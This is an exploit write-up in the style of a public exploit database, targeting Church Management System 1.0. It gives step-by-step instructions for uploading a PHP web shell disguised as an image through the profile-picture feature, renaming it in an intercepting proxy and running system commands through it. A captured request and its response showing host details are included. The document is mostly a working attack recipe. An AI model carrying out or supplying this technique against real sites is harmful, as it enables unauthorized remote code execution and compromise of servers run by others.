# Exploit Title: Church Management System 1.0 - Unrestricted File Upload to Remote Code Execution (Authenticated)# Date: 07/03/2021# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html# Version: 1.0# Tested on: Windows 10# CVE : N/A# Proof of Concept :1- Login any user account and change profile picture.2- Upload any php shell by altering it's extension to .jpg or.png.(i.e test.php.jpg)3- Before uploading your file, intercept your traffic by using any proxy.4- Change test.php.jpg file to test.php and click forward.5- Find your test.php file path andtryany command.###################### REQUEST ##########################################
GET /cman/members/uploads/test.php?cmd=SYSTEMINFO HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/cman/members/dashboard.php
Cookie: PHPSESSID=cne8l4ct93krjqobdus7nv2sjc
####################### RESPONSE #########################################
HTTP/1.1200 OK
Date: Sat,03 Jul 202111:28:16 GMT
Server: Apache/2.4.46(Win64) OpenSSL/1.1.1j PHP/8.0.3
X-Powered-By: PHP/8.0.3
Content-Length:4410
Connection: close
Content-Type: text/html; charset=UTF-8
Host Name: MRT
OS Name: Microsoft Windows 10 Pro
OS Version:10.0.19043 N/A Build 19043
OS Manufacturer: Microsoft Corporation
OS Configuration:Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner:Murat
System Boot Time:6/25/2021,2:51:40 PM
System Manufacturer: Dell Inc.
System Type: x64-based PC
Processor(s):1 Processor(s) Installed.############################################################################
